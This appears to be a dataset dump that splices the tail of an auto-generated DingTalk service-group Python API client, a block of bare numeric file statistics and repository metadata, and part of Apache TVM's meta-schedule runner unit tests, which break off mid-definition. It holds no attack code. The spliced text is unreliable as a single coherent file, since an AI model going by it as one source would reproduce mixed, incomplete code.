dingtalkservice_group__1__0_models.SendServiceGroupMessageRequest, ) -> dingtalkservice_group__1__0_models.SendServiceGroupMessageResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.SendServiceGroupMessageHeaders() return await self.send_service_group_message_with_options_async(request, headers, runtime) def send_service_group_message_with_options( self, request: dingtalkservice_group__1__0_models.SendServiceGroupMessageRequest, headers: dingtalkservice_group__1__0_models.SendServiceGroupMessageHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.SendServiceGroupMessageResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.target_open_conversation_id): body['targetOpenConversationId'] = request.target_open_conversation_id if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.content): body['content'] = request.content if not UtilClient.is_unset(request.is_at_all): body['isAtAll'] = request.is_at_all if not UtilClient.is_unset(request.at_mobiles): body['atMobiles'] = request.at_mobiles if not UtilClient.is_unset(request.at_dingtalk_ids): body['atDingtalkIds'] = request.at_dingtalk_ids if not UtilClient.is_unset(request.at_union_ids): body['atUnionIds'] = request.at_union_ids if not UtilClient.is_unset(request.receiver_mobiles): body['receiverMobiles'] = request.receiver_mobiles if not UtilClient.is_unset(request.receiver_dingtalk_ids): body['receiverDingtalkIds'] = request.receiver_dingtalk_ids if not UtilClient.is_unset(request.receiver_union_ids): body['receiverUnionIds'] = request.receiver_union_ids if not UtilClient.is_unset(request.message_type): body['messageType'] = request.message_type if not UtilClient.is_unset(request.btn_orientation): body['btnOrientation'] = request.btn_orientation if not UtilClient.is_unset(request.btns): body['btns'] = request.btns real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.SendServiceGroupMessageResponse(), self.do_roarequest('SendServiceGroupMessage', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/messages/send', 'json', req, runtime) ) async def send_service_group_message_with_options_async( self, request: dingtalkservice_group__1__0_models.SendServiceGroupMessageRequest, headers: dingtalkservice_group__1__0_models.SendServiceGroupMessageHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.SendServiceGroupMessageResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.target_open_conversation_id): body['targetOpenConversationId'] = request.target_open_conversation_id if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.content): body['content'] = request.content if not UtilClient.is_unset(request.is_at_all): body['isAtAll'] = request.is_at_all if not UtilClient.is_unset(request.at_mobiles): body['atMobiles'] = request.at_mobiles if not UtilClient.is_unset(request.at_dingtalk_ids): body['atDingtalkIds'] = request.at_dingtalk_ids if not UtilClient.is_unset(request.at_union_ids): body['atUnionIds'] = request.at_union_ids if not UtilClient.is_unset(request.receiver_mobiles): body['receiverMobiles'] = request.receiver_mobiles if not UtilClient.is_unset(request.receiver_dingtalk_ids): body['receiverDingtalkIds'] = request.receiver_dingtalk_ids if not UtilClient.is_unset(request.receiver_union_ids): body['receiverUnionIds'] = request.receiver_union_ids if not UtilClient.is_unset(request.message_type): body['messageType'] = request.message_type if not UtilClient.is_unset(request.btn_orientation): body['btnOrientation'] = request.btn_orientation if not UtilClient.is_unset(request.btns): body['btns'] = request.btns real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.SendServiceGroupMessageResponse(), await self.do_roarequest_async('SendServiceGroupMessage', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/messages/send', 'json', req, runtime) ) def get_storage_policy( self, request: dingtalkservice_group__1__0_models.GetStoragePolicyRequest, ) -> dingtalkservice_group__1__0_models.GetStoragePolicyResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.GetStoragePolicyHeaders() return self.get_storage_policy_with_options(request, headers, runtime) async def get_storage_policy_async( self, request: dingtalkservice_group__1__0_models.GetStoragePolicyRequest, ) -> dingtalkservice_group__1__0_models.GetStoragePolicyResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.GetStoragePolicyHeaders() return await self.get_storage_policy_with_options_async(request, headers, runtime) def get_storage_policy_with_options( self, request: dingtalkservice_group__1__0_models.GetStoragePolicyRequest, headers: dingtalkservice_group__1__0_models.GetStoragePolicyHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.GetStoragePolicyResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.biz_type): body['bizType'] = request.biz_type if not UtilClient.is_unset(request.file_size): body['fileSize'] = request.file_size if not UtilClient.is_unset(request.file_name): body['fileName'] = request.file_name real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.GetStoragePolicyResponse(), self.do_roarequest('GetStoragePolicy', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/ossServices/policies', 'json', req, runtime) ) async def get_storage_policy_with_options_async( self, request: dingtalkservice_group__1__0_models.GetStoragePolicyRequest, headers: dingtalkservice_group__1__0_models.GetStoragePolicyHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.GetStoragePolicyResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.biz_type): body['bizType'] = request.biz_type if not UtilClient.is_unset(request.file_size): body['fileSize'] = request.file_size if not UtilClient.is_unset(request.file_name): body['fileName'] = request.file_name real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.GetStoragePolicyResponse(), await self.do_roarequest_async('GetStoragePolicy', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/ossServices/policies', 'json', req, runtime) ) def list_user_teams( self, user_id: str, ) -> dingtalkservice_group__1__0_models.ListUserTeamsResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.ListUserTeamsHeaders() return self.list_user_teams_with_options(user_id, headers, runtime) async def list_user_teams_async( self, user_id: str, ) -> dingtalkservice_group__1__0_models.ListUserTeamsResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.ListUserTeamsHeaders() return await self.list_user_teams_with_options_async(user_id, headers, runtime) def list_user_teams_with_options( self, user_id: str, headers: dingtalkservice_group__1__0_models.ListUserTeamsHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.ListUserTeamsResponse: real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers ) return TeaCore.from_map( dingtalkservice_group__1__0_models.ListUserTeamsResponse(), self.do_roarequest('ListUserTeams', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/users/{user_id}/teams', 'json', req, runtime) ) async def list_user_teams_with_options_async( self, user_id: str, headers: dingtalkservice_group__1__0_models.ListUserTeamsHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.ListUserTeamsResponse: real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers ) return TeaCore.from_map( dingtalkservice_group__1__0_models.ListUserTeamsResponse(), await self.do_roarequest_async('ListUserTeams', 'serviceGroup_1.0', 'HTTP', 'GET', 'AK', f'/v1.0/serviceGroup/users/{user_id}/teams', 'json', req, runtime) ) def add_ticket_memo( self, request: dingtalkservice_group__1__0_models.AddTicketMemoRequest, ) -> dingtalkservice_group__1__0_models.AddTicketMemoResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AddTicketMemoHeaders() return self.add_ticket_memo_with_options(request, headers, runtime) async def add_ticket_memo_async( self, request: dingtalkservice_group__1__0_models.AddTicketMemoRequest, ) -> dingtalkservice_group__1__0_models.AddTicketMemoResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AddTicketMemoHeaders() return await self.add_ticket_memo_with_options_async(request, headers, runtime) def add_ticket_memo_with_options( self, request: dingtalkservice_group__1__0_models.AddTicketMemoRequest, headers: dingtalkservice_group__1__0_models.AddTicketMemoHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AddTicketMemoResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AddTicketMemoResponse(), self.do_roarequest('AddTicketMemo', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/memos', 'none', req, runtime) ) async def add_ticket_memo_with_options_async( self, request: dingtalkservice_group__1__0_models.AddTicketMemoRequest, headers: dingtalkservice_group__1__0_models.AddTicketMemoHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AddTicketMemoResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AddTicketMemoResponse(), await self.do_roarequest_async('AddTicketMemo', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/memos', 'none', req, runtime) )
52.785549
193
0.70531
13,018
113,964
5.756414
0.025119
0.031493
0.094479
0.107077
0.985895
0.968293
0.961234
0.95256
0.926992
0.92004
0
0.009165
0.210137
113,964
2,158
194
52.810009
0.82332
0.000702
0
0.858601
1
0
0.081338
0.026767
0
0
0
0
0
1
0.022838
false
0
0.003401
0
0.071429
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
a79498304b2f5b8cffa431a60e9c28bf99a2e467
30,776
py
Python
tests/python/unittest/test_meta_schedule_runner.py
shengxinhu/tvm
06c443e9959452c6da3a911fe0c11e08c5554477
[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSD-3-Clause" ]
4,640
2017-08-17T19:22:15.000Z
2019-11-04T15:29:46.000Z
tests/python/unittest/test_meta_schedule_runner.py
shengxinhu/tvm
06c443e9959452c6da3a911fe0c11e08c5554477
[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSD-3-Clause" ]
2,863
2017-08-17T19:55:50.000Z
2019-11-04T17:18:41.000Z
tests/python/unittest/test_meta_schedule_runner.py
shengxinhu/tvm
06c443e9959452c6da3a911fe0c11e08c5554477
[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSD-3-Clause" ]
1,352
2017-08-17T19:30:38.000Z
2019-11-04T16:09:29.000Z
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """ Test Meta Schedule Runner """ import itertools import sys import time from typing import Any, List import numpy as np import pytest import tvm import tvm.testing from tvm._ffi import register_func from tvm.meta_schedule.arg_info import TensorInfo from tvm.meta_schedule.builder import BuilderInput, LocalBuilder from tvm.meta_schedule.runner import ( EvaluatorConfig, LocalRunner, PyRunner, RPCConfig, RPCRunner, RunnerFuture, RunnerInput, ) from tvm.meta_schedule.runner.local_runner import ( default_alloc_argument as local_default_alloc_argument, ) from tvm.meta_schedule.runner.rpc_runner import ( T_ARG_INFO_JSON_OBJ_LIST, T_ARGUMENT_LIST, ) from tvm.meta_schedule.runner.rpc_runner import ( default_alloc_argument as rpc_default_alloc_argument, ) from tvm.meta_schedule.testing.local_rpc import LocalRPC from tvm.meta_schedule.utils import ( derived_object, get_global_func_with_default_on_worker, ) from tvm.rpc import RPCSession from tvm.runtime import Device, Module from tvm.script import tir as T from tvm.target import Target from tvm.tir import FloatImm MATMUL_N = 16 MATMUL_M = 32 # pylint: disable=invalid-name,no-member,line-too-long,too-many-nested-blocks,missing-docstring,unbalanced-tuple-unpacking @tvm.script.ir_module class MatmulModule: @T.prim_func def main(a: T.handle, b: T.handle, c: T.handle) -> None: # pylint: disable=no-self-argument T.func_attr({"global_symbol": "main", "tir.noalias": True}) A = T.match_buffer(a, (16, 16), "float32") B = T.match_buffer(b, (16, 16), "float32") C = T.match_buffer(c, (16, 16), "float32") for i, j, k in T.grid(16, 16, 16): with T.block("matmul"): vi, vj, vk = T.axis.remap("SSR", [i, j, k]) with T.init(): C[vi, vj] = 0.0 C[vi, vj] = C[vi, vj] + A[vi, vk] * B[vk, vj] @tvm.script.ir_module class MatmulReluModule: @T.prim_func def main(a: T.handle, b: T.handle, d: T.handle) -> None: # pylint: disable=no-self-argument T.func_attr({"global_symbol": "main", "tir.noalias": True}) A = T.match_buffer(a, (16, 16), "float32") B = T.match_buffer(b, (16, 16), "float32") D = T.match_buffer(d, (16, 16), "float32") C = T.alloc_buffer((16, 16), "float32") for i, j, k in T.grid(16, 16, 16): with T.block("matmul"): vi, vj, vk = T.axis.remap("SSR", [i, j, k]) with T.init(): C[vi, vj] = 0.0 C[vi, vj] = C[vi, vj] + A[vi, vk] * B[vk, vj] for i, j in T.grid(16, 16): with T.block("relu"): vi, vj = T.axis.remap("SS", [i, j]) D[vi, vj] = T.max(C[vi, vj], 0.0) @tvm.script.ir_module class BatchMatmulModule: @T.prim_func def main(a: T.handle, b: T.handle, c: T.handle) -> None: # pylint: disable=no-self-argument T.func_attr({"global_symbol": "main", "tir.noalias": True}) A = T.match_buffer(a, [16, 32, 32]) B = T.match_buffer(b, [16, 32, 32]) C = T.match_buffer(c, [16, 32, 32]) for n, i, j, k in T.grid(16, 32, 32, 32): with T.block("update"): vn, vi, vj, vk = T.axis.remap("SSSR", [n, i, j, k]) with T.init(): C[vn, vi, vj] = 0.0 C[vn, vi, vj] = C[vn, vi, vj] + A[vn, vi, vk] * B[vn, vj, vk] @tvm.script.ir_module class AddModule: @T.prim_func def main(a: T.handle, b: T.handle, c: T.handle) -> None: # pylint: disable=no-self-argument T.func_attr({"global_symbol": "main", "tir.noalias": True}) A = T.match_buffer(a, [32], "float32") B = T.match_buffer(b, [32], "float32") C = T.match_buffer(c, [32], "float32") for i in range(32): with T.block("add"): vi = T.axis.S(32, i) C[vi] = A[vi] + B[vi] # pylint: enable=invalid-name,no-member,line-too-long,too-many-nested-blocks,missing-docstring def _clean_build(artifact_path: str) -> None: f_clean_build = get_global_func_with_default_on_worker("meta_schedule.remove_build_dir", None) if f_clean_build is not None: f_clean_build(artifact_path) else: raise RuntimeError("Unable to find remove_build_dir function.") def test_meta_schedule_rpc_single_run(): """Test meta schedule rpc runner for a single run""" # Build the module mod = MatmulModule builder = LocalBuilder() (builder_result,) = builder.build([BuilderInput(mod, Target("llvm"))]) assert builder_result.artifact_path is not None assert builder_result.error_msg is None runner_input = RunnerInput( builder_result.artifact_path, "llvm", [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], ) with LocalRPC() as rpc: rpc_config = RPCConfig( tracker_host=rpc.tracker_host, tracker_port=rpc.tracker_port, tracker_key=rpc.tracker_key, session_priority=1, session_timeout_sec=100, ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = RPCRunner(rpc_config, evaluator_config) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is None for result in runner_result.run_secs: if isinstance(result, FloatImm): result = result.value assert isinstance(result, float) assert result >= 0.0 _clean_build(builder_result.artifact_path) def test_meta_schedule_local_single_run(): """Test meta schedule local runner for a single run""" # Build the module mod = MatmulModule builder = LocalBuilder() (builder_result,) = builder.build([BuilderInput(mod, Target("llvm"))]) assert builder_result.artifact_path is not None assert builder_result.error_msg is None runner_input = RunnerInput( builder_result.artifact_path, "llvm", [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = LocalRunner(timeout_sec=100, evaluator_config=evaluator_config) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is None for result in runner_result.run_secs: if isinstance(result, FloatImm): result = result.value assert isinstance(result, float) assert result >= 0.0 _clean_build(builder_result.artifact_path) def test_meta_schedule_rpc_multiple_runs(): """Test meta schedule rpc runner for multiple runs""" # Build the module mods = [ MatmulModule, MatmulReluModule, BatchMatmulModule, ] builder = LocalBuilder() builder_inputs = [BuilderInput(mod, Target("llvm")) for mod in mods] builder_results = builder.build(builder_inputs) for builder_result in builder_results: assert builder_result.artifact_path is not None assert builder_result.error_msg is None args_infos = [ [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], [ TensorInfo("float32", [16, MATMUL_M, MATMUL_M]), TensorInfo("float32", [16, MATMUL_M, MATMUL_M]), TensorInfo("float32", [16, MATMUL_M, MATMUL_M]), ], ] runner_inputs = [ RunnerInput(builder_results[i].artifact_path, "llvm", args_infos[i]) for i in range(len(mods)) ] with LocalRPC() as rpc: rpc_config = RPCConfig( tracker_host=rpc.tracker_host, tracker_port=rpc.tracker_port, tracker_key=rpc.tracker_key, session_priority=1, session_timeout_sec=100, ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = RPCRunner(rpc_config, evaluator_config) # Run the module runner_futures = runner.run(runner_inputs) runner_results = [runner_future.result() for runner_future in runner_futures] for runner_result in runner_results: assert runner_result.error_msg is None for result in runner_result.run_secs: if isinstance(result, FloatImm): result = result.value assert isinstance(result, float) assert result >= 0.0 for builder_result in builder_results: _clean_build(builder_result.artifact_path) def test_meta_schedule_local_multiple_runs(): """Test meta schedule local runner for multiple runs""" # Build the module mods = [ MatmulModule, MatmulReluModule, BatchMatmulModule, ] builder = LocalBuilder() builder_inputs = [BuilderInput(mod, Target("llvm")) for mod in mods] builder_results = builder.build(builder_inputs) for builder_result in builder_results: assert builder_result.artifact_path is not None assert builder_result.error_msg is None args_infos = [ [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], [ TensorInfo("float32", [16, MATMUL_M, MATMUL_M]), TensorInfo("float32", [16, MATMUL_M, MATMUL_M]), TensorInfo("float32", [16, MATMUL_M, MATMUL_M]), ], ] runner_inputs = [ RunnerInput(builder_results[i].artifact_path, "llvm", args_infos[i]) for i in range(len(mods)) ] evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = LocalRunner(timeout_sec=100, evaluator_config=evaluator_config) # Run the module runner_futures = runner.run(runner_inputs) runner_results = [runner_future.result() for runner_future in runner_futures] for runner_result in runner_results: assert runner_result.error_msg is None for result in runner_result.run_secs: if isinstance(result, FloatImm): result = result.value assert isinstance(result, float) assert result >= 0.0 for builder_result in builder_results: _clean_build(builder_result.artifact_path) def test_meta_schedule_py_runner(): """Test meta schedule PyRunner""" @derived_object class TestRunner(PyRunner): def run(self, runner_inputs: List[RunnerInput]) -> List[RunnerFuture]: raise ValueError("TestRunner") runner = TestRunner() with pytest.raises(ValueError, match="TestRunner"): runner.run([]) def test_meta_schedule_rpc_runner_time_out(): """Test meta schedule RPC Runner time out""" def initializer(): @register_func("meta_schedule.runner.test_time_out") def timeout_session_creator( # pylint: disable=unused-variable rpc_config: RPCConfig, # pylint: disable=unused-argument ) -> RPCSession: time.sleep(2) runner_input = RunnerInput( "test", "llvm", [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], ) with LocalRPC() as rpc: rpc_config = RPCConfig( tracker_host=rpc.tracker_host, tracker_port=rpc.tracker_port, tracker_key=rpc.tracker_key, session_priority=1, session_timeout_sec=1, ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = RPCRunner( rpc_config, evaluator_config, initializer=initializer, f_create_session="meta_schedule.runner.test_time_out", ) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is not None and runner_result.error_msg.startswith( "RPCRunner: Timeout, killed after" ) assert runner_result.run_secs is None def test_meta_schedule_local_runner_time_out(): """Test meta schedule Local Runner time out""" mod = MatmulModule builder = LocalBuilder() (builder_result,) = builder.build([BuilderInput(mod, Target("llvm"))]) assert builder_result.artifact_path is not None assert builder_result.error_msg is None runner_input = RunnerInput( builder_result.artifact_path, "llvm", [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], ) def initializer(): @register_func("meta_schedule.runner.test_time_out") def timeout_session_creator( # pylint: disable=unused-variable device: Device, # pylint: disable=unused-argument args_info: T_ARG_INFO_JSON_OBJ_LIST, # pylint: disable=unused-argument alloc_repeat: int, # pylint: disable=unused-argument ) -> RPCSession: time.sleep(2) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = LocalRunner( timeout_sec=1, evaluator_config=evaluator_config, initializer=initializer, f_alloc_argument="meta_schedule.runner.test_time_out", ) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is not None and runner_result.error_msg.startswith( "LocalRunner: Timeout, killed after" ) assert runner_result.run_secs is None _clean_build(builder_result.artifact_path) def test_meta_schedule_rpc_runner_exception(): """Test meta schedule RPC Runner exception""" def initializer(): @register_func("meta_schedule.runner.test_exception") def exception_session_creator( # pylint: disable=unused-variable rpc_config: RPCConfig, # pylint: disable=unused-argument ) -> RPCSession: raise Exception("Test") runner_input = RunnerInput( "test", "llvm", [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], ) with LocalRPC() as rpc: rpc_config = RPCConfig( tracker_host=rpc.tracker_host, tracker_port=rpc.tracker_port, tracker_key=rpc.tracker_key, session_priority=1, session_timeout_sec=100, ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = RPCRunner( rpc_config, evaluator_config, initializer=initializer, f_create_session="meta_schedule.runner.test_exception", ) (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is not None and runner_result.error_msg.startswith( "RPCRunner: An exception occurred\n" ) assert runner_result.run_secs is None def test_meta_schedule_local_runner_exception(): """Test meta schedule Local Runner exception""" mod = MatmulModule builder = LocalBuilder() (builder_result,) = builder.build([BuilderInput(mod, Target("llvm"))]) assert builder_result.artifact_path is not None assert builder_result.error_msg is None runner_input = RunnerInput( builder_result.artifact_path, "llvm", [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], ) def initializer(): @register_func("meta_schedule.runner.test_exception") def timeout_session_creator( # pylint: disable=unused-variable device: Device, # pylint: disable=unused-argument args_info: T_ARG_INFO_JSON_OBJ_LIST, # pylint: disable=unused-argument alloc_repeat: int, # pylint: disable=unused-argument ) -> RPCSession: raise Exception("Test") evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = LocalRunner( evaluator_config=evaluator_config, initializer=initializer, f_alloc_argument="meta_schedule.runner.test_exception", ) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is not None and runner_result.error_msg.startswith( "LocalRunner: An exception occurred\n" ) assert runner_result.run_secs is None _clean_build(builder_result.artifact_path) def 